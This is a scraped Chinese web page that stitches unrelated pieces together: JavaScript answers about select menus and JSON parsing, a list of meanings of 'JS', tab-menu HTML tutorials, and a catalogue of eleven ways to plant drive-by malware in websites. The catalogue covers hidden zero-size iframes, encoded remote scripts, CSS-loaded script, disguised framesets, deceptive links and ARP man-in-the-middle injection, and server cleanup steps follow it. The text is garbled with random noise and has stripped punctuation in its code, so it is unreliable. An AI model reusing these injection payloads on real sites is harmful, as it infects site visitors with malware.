javascript动态控制select option 获取value并刷新 改变selected

javascript动态控制select option 获取value并刷新 改变selected,第1张

documentgetElementByid('sel')onchange=function(){

documentgetElementsByTagName('body')[0]stylefontSize=documentgetElementByid('sel')value;

}

sel是select下拉列表的id,你这个option的值不对需要改下,改成存在的字体

  英文缩写(计算机) JS = JavaScript

  明星组合 JS = Justin和Sophia, 哥哥——陈忠义 (Justin) 和 妹妹——陈绮萱 (Sophia)

  拼音(网络用语)

  JS=Jin Sha,金莎,中国大陆流行人气女歌手和当红女艺人,2005年发行首张个人音乐专辑 《空气》后迅速串红;曾于师兄林俊杰合唱林俊杰创作的第一首男女对唱情歌——《被风吹过的夏天》而家喻户晓。而后在《神话》中扮演吕素自编一首《星月神话》在百度榜单占据16周之久。气质清纯,嗓音甜美的金莎,近年来转战影视界,成功主演了《幸福的眼泪》、《大城市小浪漫》、《神话》等多部热播大剧而成为内地娱乐圈红人。

  JS = Jian Shang,奸商,指代了一群特殊人群,他们通过倒卖游戏中的各种装备材料等来获取丰厚的利润。现在JS更多用以指代现实中的奸商特别是攒机商,但是网友立场几乎一边倒地站在商家反方,于是无论商家好坏都叫JS。随着IT业发展,攒机商利润已经很薄,这种对立情绪也淡了很多。但是代称还是没有变,JS逐渐演变成“商家”的一种代称,有一种戏谑的成分。

  JS=Jiang Su,江苏,我国东部的一个省份。经常用在江苏某个机构的缩写名称中,如JSBC代表江苏广电总台。

  JS = Jian Shi,剑侍,QQ三国中精通战斗技巧的勇士,以剑为武器。低命中、高闪避、高爆击是剑侍的特色。他们还懂得如何更有效的激怒敌人,控制战斗节奏。如何在短时间秒杀敌人才是一名剑侍应该考虑的事情。

  JS = Jiang Shi,僵尸,反恐精英Online中生化模式中的僵尸阵营;JavaScript代码有时也称作僵尸代码。

  JS = Ji Si,祭司,春秋Q传中具有着无上高贵气质的秦青一直是列国诸侯争相膜拜的对象,传说她已经传承了上古天神女娲的神圣法术,可赋予人类强大的生存力量。

  JS = Jia Su,加速线,衡量股价涨速的工具,加速线指标上升表明股价上升动力增加,加速线指标下降表明股价下降压力增加。

  JS = Ji Shi,桑拿里技师的意思。

  JS = Jun Shi,俊士,欧珀莱一款男性化妆品系列。

  JS = Ju Xing, “聚星天华”自2006年1月推出第一个产品至今,经过一年时间,现已成为青春流行纸媒领域最著名的品牌标志之一。js这一用语多见于百度贴吧内。

  JS= jian sheng “剑圣”魔兽争霸中兽人英雄,英文缩写为BM,因为疾风步的原因,又美其名曰“贱圣”

  其他

  JS = JSharer, 极享网盘,ACG迷的主流网盘。

  JS = jiān shāng 网络用语,代指奸商 JS = Jack Sparrow 加勒比海盗里的杰克船长

一:框架挂马浪漫之家社区门户}8d{ocb

;Z}x\` sT-e0 <iframe src=地址 width=0 height=0></iframe>浪漫之家社区门户f2iNFvtV$V

]-iXpQG+v$\0二:js文件挂马浪漫之家社区门户2D(D_3QU1a YS

T,UEsy(~ Q!i"K0 首先将以下代码浪漫之家社区门户XvK&DSs_ n

documentwrite("<iframe width='0' height='0' src='地址'></iframe>");浪漫之家社区门户7v1rWpv4E`

保存为xxxjs,

0];QEN A0 则JS挂马代码为

xt]y4QfX0 <script language=javascript src=xxxjs></script>

(~+}Cy:R9ss0浪漫之家社区门户(rJ(E^5Z b|+p

三:js变形加密浪漫之家社区门户w4{7v~ Cj

浪漫之家社区门户gAub7\5Us

<SCRIPT language="JScriptEncode" src=http://wwwxxxcom/mumatxt></script>浪漫之家社区门户'IQWSv

mumatxt可改成任意后缀浪漫之家社区门户 aJ5~7sX]

四:body挂马浪漫之家社区门户LV3X"HVc#[

7y0k9P;Z&hn0 <body ></body>

0u yo{\Za0浪漫之家社区门户;M2cA Xo,[\,m

五:隐蔽挂马

P2@vj2\m}LBf0浪漫之家社区门户bF9^c A;i[6\;l k`

topdocumentbodyinnerHTML = topdocumentbodyinnerHTML + '\r\n<iframe src="http://wwwlinglihucom/"></iframe>';浪漫之家社区门户o1}"uC)u

浪漫之家社区门户'_g+N#` x'@$x

六:css中挂马浪漫之家社区门户^1c9|5T+E3A l `0R

P:ZGz3qy`0 body {浪漫之家社区门户]&N5b+S2d!k v!p%o

background-image: url('javascript:documentwrite("<script src=http://wwwXXXnet/mumajs></script>")')}浪漫之家社区门户9@ T{-jBQk:ck i

8@mpE3Y-E+[o0七:JAJA挂马

^O7hzN0

ElV z{4Wz3lGs,,D0 <SCRIPT language=javascript>

LX@2t B5j4xRL~0 windowopen ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 浪漫之家社区门户RoN {z]&J{A$}b[

</script>浪漫之家社区门户L0} NIi2x`PGT+@

浪漫之家社区门户 A0h2l%|ekT

八:伪装

1x(lu\1NE'p:sY0浪漫之家社区门户TfZ4L:VR_ U

<html>浪漫之家社区门户b8X%K"AZ;WAZ$y

<iframe src="网马地址" height=0 width=0></iframe>

g^M2c8Iqj/S0g0 <img src="地址"></center>浪漫之家社区门户#D5H!L Au cgU

</html>浪漫之家社区门户I8@J(j$hfI b

4p'kxc!jyhLtL0九:伪装调用:浪漫之家社区门户3n [5j8HlA|

浪漫之家社区门户PnoND

<frameset rows="444,0" cols="">浪漫之家社区门户2|6jm6W+Ch

<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">

Jg({%E!v,~1v VN0 <frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">

E!|n#AQ'H/J F0 </frameset>浪漫之家社区门户r;BD"wLE-zI n

浪漫之家社区门户4O&Cpi/W6gNM%rU

十:高级欺骗

`8A${,qi0

j w3dMu'}9Z0 <a href="http://wwwlinglihucom(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的内容 </a>

_`!xA,B3e zt6T;C0<SCRIPT Language="JavaScript">浪漫之家社区门户L%w~StQ-@5]S

function www_163_com ()浪漫之家社区门户O U7\%d Z7x

{浪漫之家社区门户%l4y"C)R&j-Re1g

var url="网马地址";

[};t0A&G0open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");浪漫之家社区门户 Wh!j+Hm;`c

}浪漫之家社区门户)r5g#Sj7SB4^_

</SCRIPT>

:y&N~-a!^$dd6E0浪漫之家社区门户u~E6KQD

十一: 超级网马—通过arp欺骗来直接挂马

:mhZ2F3r3r-z$s2O0

"YO8C^i$rl/]o0原理:arp中间人攻击,实际上相当于做了一次代理。浪漫之家社区门户]%DpqmFVC8E7_F

浪漫之家社区门户:|3_j$@&aw]t

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机

7LI KTs0arp中间人攻击时候: A---->C---->B

gh|$[b N0B---->C---->A

iIqcO8v0实际上,C在这里做了一次代理的作用浪漫之家社区门户9lxbjEE9_3Xr r L

浪漫之家社区门户R{kT9Ui

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如<iframe>之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了。

8cd1bA j+v}0

p6j4xgv0如何处理网页木马:

r:ej y}izC#i01、找到嵌入的网页木马文件。以下,拿自己的经历说事。找到的文件是wmhtm

#c [:[}caA 4s)ax0浪漫之家社区门户C%qQ7Xd M-i8T,\ q

2、在注册表中查找wmhtm。很幸运,找到了。开始顺藤摸瓜浪漫之家社区门户)qJXkHY)I

浪漫之家社区门户@ L uIi

3、修改键值wmhtm为wm_nndhtm。

/bX0e5I-`0浪漫之家社区门户R+jyC)wk8Kl,y

4、再次查找wmhtm。很不幸,又查到了。说明有服务程序在作怪。嘿嘿,有意外发现。浪漫之家社区门户bQ[7~,\2P

cainexe,据说是密码嗅探器。浪漫之家社区门户gGpx xa_C

8m9e"z5^!q)[8By8iY;BA05、修改键值cainexe为cain_nndexe。

`m+b3@ @-H0浪漫之家社区门户ax;U+p1n(J

6、查找cainexe,仍然可以查到。嘻嘻,在预料之中。

MUQ:\7Rc`B0浪漫之家社区门户U(F0Nu9W

7、怀疑wmhtm与cainexe同流合污,背后有服务程序作后台。浪漫之家社区门户}zj4x V2G

浪漫之家社区门户V;q0l:@Sri

8、快查查看,系统服务程序。在运行->msconfig 或直接在命令行使用net start,查看可疑程序

vI4f J)L o)D0

'i GE W^a09、发现tempexe(全名记不清了),立马net stop server 。浪漫之家社区门户;F{%\B7r a9eY

'W2IH9bP2MI:Oxkk010、快去修改键值wmhtm为wm_nndhtm,cainexe为cain_nndexe。

0jW r7O C0

(j}y,w6G+Z011、再次查找wmhtm或cainexe,没有找到。哈哈,很好。

Q(|%h,}t0

5VO\mW@;yN;n012、观察了几天,没再发生挂马的现象。 另外,通过检测网络连接查看服务器是否中了木马或病毒浪漫之家社区门户3\O] @n{r

浪漫之家社区门户I$@K9QN&S${/U

1、使用netstat -an 查看所有和本地计算机建立连接的IP。

gB1n dL(|H}0

(BQv1v%2k+G X02、连接包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。 通过这个命令的详细信息,可以完全监控计算机上的连接,从而达到控制计算机的目的。

7J;rK5WE0浪漫之家社区门户"i \$J\ KI

3、手工制作bat程序,生成网络连接日志文件供站长分析:bat文件代码如下

1BKY-~#Bx8u@J#G0浪漫之家社区门户2@wQY5M

REM 注释:监控的时间

;|)RUz!A;X@0time /t>>Netstatlog浪漫之家社区门户L:vR9ZSum

REM 每隔30秒,把服务器上通过tcp协议通讯的IP和端口写入日志文件浪漫之家社区门户8| F {f,pH5f a]

Netstat -n -p tcp 30>>Netstatlog浪漫之家社区门户9LUgLM(X[%v

dA_"C_`!J+{0注意:要谨慎使用,这会给服务器带来性能影响。最好,在服务器发生异常,怀疑中木马或病毒时,用来分析网络连接日志。浪漫之家社区门户y Bs}mZ\

浪漫之家社区门户e&f$J!@#k

仅仅这些还不够,说说更严重的:浪漫之家社区门户 nw!C~/@k {bc_

6UM T%`3HQs8`m r01、可恶的攻击者喜欢使用克隆账号的方法来控制你的计算机。“它们”激活一个系统中的默认账户,但这个账户是不经常用的, 然后使用工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。浪漫之家社区门户i{${1}v1hd+r$E"ix

浪漫之家社区门户 j8o0~|`:~^"B&G

2、赶快检测系统帐户:

X!u'w Q7^cJ(o&OH0a、在命令行下输入net user,查看计算机上有些什么用户。浪漫之家社区门户] t G^ @T

b、使用“net user 用户名”查看这个用户属于什么权限的及登录时间等。

9b)~~&x0"l,Gru0c、一般除了Administrator是administrators组的,如果你发现一个系统内置的用户是属于administrators组的,

E T/u/d%i#B1{u0 那么别人在你的计算机上克隆账户的概率为90%。浪漫之家社区门户w}+g9B0\

d、是使用“net user 用户名 /del” 来删掉这个用户,还是修改其它配置,这你说了算。

JS中如何把JSON格式的字符串转化为一个对象或数组呢?下面小编就为大家带来一篇js 转json格式的字符串为对象或数组(前后台)的方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧

一、前台

// 转换成对象

var myObject = JSONparse(_data);

alert("对象:"+myObjectmsg);

// 转换成数组

var myobj = eval("["+_data+"]");

for (var i = 0; i < myobjlength; i++) {

alert("数组:"+myobj[i]msg);

}

//把json格式的字符串转成JSON对象

var json1 = '{"department": "中兵","address": "北京","contacts": "李硕","telphone": "15201274666","email": "li_shilei@yeahNET","fax": "0108596666"}';

var json2 = '{"department": "中兵2","address": "北京2","contacts": "李硕2","telphone": "152012746662","email": "li_shilei2@yeahNet","fax": "01085966662"}';

var jsonObj = $parseJSON(json1); 或用eval方法

//把数组转成JSON对象

var arr=new Array();

arrpush(json1);

arrpush(json2);

var b=JSONstringify(arr)

二、后台

当需要把一串字符串转成一个json 数组 ,并遍历其中的内容时。

首页导入 netsfjsonJSONArray和netsfjsonJSONObject 两个jar 包

String str = "[{name:'a',value:'aa'},{name:'b',value:'bb'},{name:'c',value:'cc'},{name:'d',value:'dd'}]" ; // 一个未转化的字符串

JSONArray json = JSONArrayfromObject(str ); // 首先把字符串转成 JSONArray 对象

if(jsonsize()>0){

for(int i=0;i<jsonsize();i++){

JSONObject job = jsongetJSONObject(i); // 遍历 jsonarray 数组,把每一个对象转成 json 对象

Systemoutprintln(jobget("name")+"=") ; // 得到 每个对象中的属性值

}

}

以上就是小编为大家带来的js 转json格式的字符串为对象或数组(前后台)的方法全部内容。

不用说自己菜不菜的,能有这个学习的精神已经很值得鼓励了

呵呵,下面,我来给你介绍几个网站常见的菜单

第一个:仿网易的滑动门导航菜单

<html xmlns="http://wwww3org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

<title>仿网易的滑动门技术,用DIV+CSS技术实现</title>

<style type="text/css">

<!--

#header {

background-color: #F8F4EF;

height: 200px;

width: 400px;

margin: 0px;

padding: 0px;

border: 1px solid #ECE1D5;

font-family: "宋体";

font-size: 12px;

}

#menu {

margin: 0px;

padding: 0px;

list-style-type: none;

}

#menu li {

display: block;

width: 100px;

text-align: center;

float: left;

margin: 0px;

padding-top: 02em;

padding-right: 0px;

padding-bottom: 02em;

padding-left: 0px;

cursor: hand;

}

sec1 { background-color: #FFFFCC;}

sec2 { background-color: #00CCFF;}

block { display: block;}

unblock { display: none;}

-->

</style>

</head>

<body>

<script language=javascript>

function secBoard(n)

{

for(i=0;i<menuchildNodeslength;i++)

menuchildNodes[i]className="sec1";

menuchildNodes[n]className="sec2";

for(i=0;i<mainchildNodeslength;i++)

mainchildNodes[i]styledisplay="none";

mainchildNodes[n]styledisplay="block";

}

</script>

<div id="header">

<ul id="menu">

<li onMouseOver="secBoard(0)" class="sec2">最新新闻</li>

<li onMouseOver="secBoard(1)" class="sec1">最新文章</li>

<li onMouseOver="secBoard(2)" class="sec1">最新日志</li>

<li onMouseOver="secBoard(3)" class="sec1">论坛新帖</li>

</ul>

<!--内容显示区域-->

<ul id="main">

<li class="block">第一个内容</li>

<li class="unblock">第二个内容</li>

<li class="unblock">第三个内容</li>

<li class="unblock">第四个内容</li>

</ul>

<!--内容显示区域-->

</div>

</body>

</html>

这里基本上是使用Css与Div的结合,在整个布局中已层为单位,实行滑动菜单的是一个javascript脚本函数,调用就可以了,看不懂不要紧,日渐积累才是重要

第二个:经典实用的触发型导航(这是鼠标单击事件控制)

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效代码|JsCodeCN|---经典实用的触发型导航菜单</title>

</head>

<body>

<STYLE type=text/css>sec1 {

BORDER-RIGHT: gray 1px solid; BORDER-TOP:

#ffffff 1px solid; BORDER-LEFT: #ffffff 1px

solid; CURSOR: hand; COLOR: #000000; BORDER-

BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR:

#eeeeee

}

sec2 {

BORDER-RIGHT: gray 1px solid; BORDER-TOP:

#ffffff 1px solid; FONT-WEIGHT: bold; BORDER-

LEFT: #ffffff 1px solid; CURSOR: hand; COLOR:

#000000; BACKGROUND-COLOR: #d4d0c8

}

main_tab {

BORDER-RIGHT: gray 1px solid; BORDER-

LEFT: #ffffff 1px solid; COLOR: #000000; BORDER-

BOTTOM: gray 1px solid; BACKGROUND-COLOR: #d4d0c8

}

</STYLE>

<!--JavaScript部分-->

<SCRIPT language=javascript>

function secBoard(n)

{

for(i=0;i<secTablecellslength;i++)

secTablecells

[i]className="sec1";

secTablecells[n]className="sec2";

for(i=0;i<mainTabletBodieslength;i++)

mainTabletBodies

[i]styledisplay="none";

mainTabletBodies

[n]styledisplay="block";

}

</SCRIPT>

<!--HTML部分-->

<TABLE id=secTable cellSpacing=0 cellPadding=0 width=549 border=0>

<TBODY>

<TR align=middle height=20>

<TD class=sec2 onclick=secBoard(0) width="10%">关于TBODY标记</TD>

<TD class=sec1 onclick=secBoard(1) width="10%">关于cells集合</TD>

<TD class=sec1 onclick=secBoard(2) width="10%">关于tBodies集合</TD>

<TD class=sec1 onclick=secBoard(3) width="10%">关于display属性</TD></TR></TBODY></TABLE>

<TABLE class=main_tab id=mainTable height=240 cellSpacing=0 cellPadding=0 width=549 border=0><!--关于TBODY标记-->

<TBODY style="DISPLAY: block">

<TR>

<TD vAlign=top align=middle><BR><BR>

<TABLE cellSpacing=0 cellPadding=0 width=490 border=0>

<TBODY>

<TR>

<TD>指定行做为表体。

<BR>注释:TBODY要素是块要素,并且需要结束标

签。<BR> 即使如果表格没有显式定义TBODY

要素,该要素也提供给所有表。<BR><BR>

参考:《动态HTML参考和开发应用大全》(人民邮电出

版社

Microsoft Corporation著

北京华中兴业科技发展有限公司

译)

<BR><BR></TD></TR></TB

ODY></TABLE></TD></TR></T

BODY><!--关于cells集合-->

<TBODY style="DISPLAY:

none">

<TR>

<TD vAlign=top

align=middle><BR><BR>

<TABLE cellSpacing=0

cellPadding=0 width=490 border=0>

<TBODY>

<TR>

<TD>检索表行或者整个

表中所有单元格的集合。<BR>应用于TR、TABLE。

<BR><BR>参考:《动态HTML参考和开发应

用大全》(人民邮电出版社

Microsoft Corporation著

北京华中兴业科技发展有限公司

译)

<BR><BR></TD></TR></TB

ODY></TABLE></TD></TR></T

BODY><!--关于tBodies集合-->

<TBODY style="DISPLAY:

none">

<TR>

<TD vAlign=top

align=middle><BR><BR>

<TABLE cellSpacing=0

cellPadding=0 width=490 border=0>

<TBODY>

<TR>

<TD>检索表中所有TBODY

对象的集合。对象在该集合中按照HTML源顺序排列。

<BR>应用于TABLE。<BR><BR>参考:

《动态HTML参考和开发应用大全》(人民邮电出版社

Microsoft Corporation著

北京华中兴业科技发展有限公司

译)

<BR><BR></TD></TR></TB

ODY></TABLE></TD></TR></T

BODY><!--关于display属性-->

<TBODY style="DISPLAY:

none">

<TR>

<TD vAlign=top

align=middle><BR><BR>

<TABLE cellSpacing=0

cellPadding=0 width=490 border=0>

<TBODY>

<TR>

<TD>设置或者检索对象

是否被提供。<BR>可能的值为block、none、

inline、list-item、table-header-group、table-

footer-group。<BR>该特性可读写,块要素默认

值为block,内联要素默认值为inline;层叠样式表

(CSS)属性不可继承。<BR><BR>参考:《

动态HTML参考和开发应用大全》(人民邮电出版社

Microsoft Corporation著

北京华中兴业科技发展有限公司译)

<BR><BR><A

href="http://msdnmicrosoftcom/workshop/author/dhtml/reference/properties/displayaspframe=true" target=_blank>点击此处

</A>可参阅微软<A href="http://msdnmicrosoftcom/" target=_blank>MSDN在线</A>上的解释。

</TD></TR></TBODY></TABLE>

;</TD></TR></TBODY></TABLE&g

t;</body>

</html>

这里跟上面不同的区别在与这是鼠标移动和滑动的事件区别!

第三个:仿拍拍的切换效果菜单(里面的是我放上去的,所以会看不到的,呵呵 继续)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 10 Transitional//EN" "http://wwww3org/TR/xhtml1/DTD/xhtml1-transitionaldtd">

<html xmlns="http://wwww3org/1999/xhtml" lang="zh-CN">

<head>

<meta http-equiv="Content-Language" content="zh-cn" />

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

<meta name="robots" content="all" />

<title>网页特效|网页特效代码(JsHtmlcn)---仿拍拍paipaicom首页产品随机轮显切换效果</title><style>

body {font-size:12px}

img {border:0px}

#sale{right:206px;top:0;width:260px;background:#fff}

#saleTitle{text-align:right;padding-top:5px;padding-right:5px;width:255px;height:20px;background:url("images/saleTitlegif") no-repeat}

#saleList{margin-top:5px}

#saleList saleTwo{height:108px;background:url("images/salelineHgif") bottom repeat-x;}

#saleList a{display:block;height:108px;width:86px;text-align:center;float:left;overflow:hidden}

#saleList asaleItem{background:url("images/salelineVgif") right repeat-y;}

#saleList a img{margin:5px 0}

#saleList a:hover{background-color:#EBFFC5}

</style>

<script type="text/javascript">

rndtoday=new Date();

rndseed=rndtodaygetTime();

function rnd(){

rndseed = (rndseed9301+49297) % 233280;

return rndseed/(2332800);

}

function rand(number){

return Mathceil(rnd()number)-1;

}

function nextSale(order){

if(order=="up") saleNum--;

else saleNum++;

if(saleNum>2) saleNum=0

else if(saleNum<0) saleNum=2;

//alert(saleNum);

for(i=0;i<3;i++)

documentgetElementById("saleList"+i)styledisplay="none";

documentgetElementById("saleList"+saleNum)styledisplay="";

}

</script>

</head>

<body>

<div id="sale" class="absolute overflow">

<div id="saleTitle" class="absolute">

<a href="javascript:nextSale('up')" title="点击到上一屏">

<img src="images/saleForegif" hspace="4" onmouseover="thissrc='images/saleForeOvergif'" onmouseout="thissrc='images/saleForegif'" /></a><a href="javascript:nextSale('down')" title="点击到下一屏"><img src="images/saleNextgif" onmouseover="thissrc='images/saleNextOvergif'" onmouseout="thissrc='images/saleNextgif'" /></a></div>

<div class="overflow" style="height:330px" id="saleList">

<script type="text/javascript">var saleNum=rand(3);</script>

<div id="saleList0" style="display:none">

<div class="saleTwo">

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="圣诞浪漫饰品超级大促" src="/jsimages/UploadFiles_3321/200804/20080423085515804jpg" width="65" height="65" /></div>

<div>

圣诞浪漫饰品<br />

超级大促</div>

</a>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="摄像头集结号给你新的感觉" src="/jsimages/UploadFiles_3321/200804/20080423085516472jpg" width="65" height="65" /></div>

<div>

摄像头集结号<br />

给你新的感觉</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="好感度提升韩版娃娃装" src="/jsimages/UploadFiles_3321/200804/20080423085516162jpg" width="65" height="65" /></div>

<div>

好感度提升<br />

韩版娃娃装</div>

</a></div>

<div class="saleTwo">

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="复古牛仔外套特惠119元起" src="/jsimages/UploadFiles_3321/200804/20080423085516293jpg" width="65" height="65" /></div>

<div>

复古牛仔外套<br />

特惠119元起</div>

</a>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="圣诞拍拍特供运动服3折" src="/jsimages/UploadFiles_3321/200804/20080423085516802jpg" width="65" height="65" /></div>

<div>

圣诞拍拍特供<br />

运动服3折</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="摄像头集结号给你新的感觉" src="/jsimages/UploadFiles_3321/200804/20080423085516472jpg" width="65" height="65" /></div>

<div>

摄像头集结号<br />

给你新的感觉</div>

</a></div>

<div>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="圣诞拍拍特供电脑周边4折" src="/jsimages/UploadFiles_3321/200804/20080423085516530jpg" width="65" height="65" /></div>

<div>

圣诞拍拍特供<br />

电脑周边4折</div>

</a>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="party扮靓甜美腮红" src="/jsimages/UploadFiles_3321/200804/20080423085516658jpg" width="65" width="65" height="65" /></div>

<div>

party扮靓<br />

甜美腮红</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="好感度提升韩版娃娃装" src="/jsimages/UploadFiles_3321/200804/20080423085516162jpg" width="65" height="65" /></div>

<div>

好感度提升<br />

韩版娃娃装</div>

</a></div>

</div>

<div id="saleList1" style="display:none">

<div class="saleTwo">

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="新奇好玩便宜尽在网游频道" src="/jsimages/UploadFiles_3321/200804/20080423085516612jpg" width="65" height="65" /></div>

<div>

新奇好玩便宜<br />

尽在网游频道</div>

</a>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="展现高贵气质骑士系马靴" src="/jsimages/UploadFiles_3321/200804/20080423085516202jpg" width="65" height="65" /></div>

<div>

展现高贵气质<br />

骑士系马靴</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="摄像头集结号给你新的感觉" src="/jsimages/UploadFiles_3321/200804/20080423085516472jpg" width="65" height="65" /></div>

<div>

摄像头集结号<br />

给你新的感觉</div>

</a></div>

<div class="saleTwo">

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="永不过时条纹毛衣" src="/jsimages/UploadFiles_3321/200804/20080423085516984jpg" width="65" height="65" /></div>

<div>

永不过时<br />

条纹毛衣</div>

</a>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="圣诞拍拍特供运动鞋2折" src="/jsimages/UploadFiles_3321/200804/20080423085516651jpg" width="65" height="65" /></div>

<div>

圣诞拍拍特供<br />

运动鞋2折</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="好感度提升韩版娃娃装" src="/jsimages/UploadFiles_3321/200804/20080423085516162jpg" width="65" height="65" /></div>

<div>

好感度提升<br />

韩版娃娃装</div>

</a></div>

<div>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="精简唯美索爱K630" src="/jsimages/UploadFiles_3321/200804/20080423085516302jpg" width="65" height="65" /></div>

<div>

精简唯美<br />

索爱K630</div>

</a>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="原装瑞士军刀精选" src="/jsimages/UploadFiles_3321/200804/20080423085516549jpg" width="65" width="65" height="65" /></div>

<div>

原装瑞士军刀<br />

精选</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="超薄机身索爱W880" src="/jsimages/UploadFiles_3321/200804/20080423085516711jpg" width="65" height="65" /></div>

<div>

超薄机身<br />

索爱W880</div>

</a></div>

</div>

<div id="saleList2" style="display:none">

<div class="saleTwo">

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="各就各味秋冬饮食计划" src="/jsimages/UploadFiles_3321/200804/20080423085516704jpg&type=3" width="65" height="65" /></div>

<div>

各就各味<br />

秋冬饮食计划</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="好感度提升韩版娃娃装" src="/jsimages/UploadFiles_3321/200804/20080423085516162jpg" width="65" height="65" /></div>

<div>

好感度提升<br />

韩版娃娃装</div>

</a></div>

<div class="saleTwo">

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="圣诞拍拍特供随身视听5折" src="/jsimages/UploadFiles_3321/200804/20080423085516375jpg" width="65" height="65" /></div>

<div>

圣诞拍拍特供<br />

随身视听5折</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="超薄机身索爱W880" src="/jsimages/UploadFiles_3321/200804/20080423085516711jpg" width="65" height="65" /></div>

<div>

超薄机身<br />

索爱W880</div>

</a></div>

<div>

<a class="saleItem" href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="我爱我家家居大抢购" src="/jsimages/UploadFiles_3321/200804/20080423085516954jpg" width="65" height="65" /></div>

<div>

我爱我家<br />

家居大抢购</div>

</a><a href="http://wwwjshtmlcn" target="_blank">

<div>

<img alt="超值彩妆套装变身派对女王" src="/jsimages/UploadFiles_3321/200804/20080423085516919jpg" width="65" width="65" height="65" /></div>

<div>

超值彩妆套装<br />

变身派对女王</div>

</a></div>

</div>

</div>

</div>

<script type="text/javascript">documentgetElementById("saleList"+saleNum)styledisplay="";</script>

<p> </p>

<p>更多网页特效代码尽在 <a href="http://wwwjshtmlcn/">网页特效代码</a></p>

</body>

</html>

这个仿拍拍基本上就是2层放,但用起来的效果还是可以的,如果不喜欢我还有下面呢,慢慢学,总会看懂的 (最重要的还是Css哦)

这个主要就是让层实现隐藏 我觉得这个在层使用方面还是好的

从总体上看,在实现层与层之间的交互,在其代码 我觉得你有必要去认真看下 !

以上是我介绍额度菜单,虽然不是很强大,但是却很使用,而且在J2EE中

菜单基本上是一个假象,都是用层与Css之间的特效做出来的!

学会了层的具体应用,我相信你也可以有自己特色的菜单的

那我祝你好运咯!!加油!!

欢迎分享,转载请注明来源:浪漫分享网

原文地址:https://hunlipic.com/langman/3459424.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-08-15
下一篇2023-08-15

发表评论

登录后才能评论

评论列表(0条)

    保存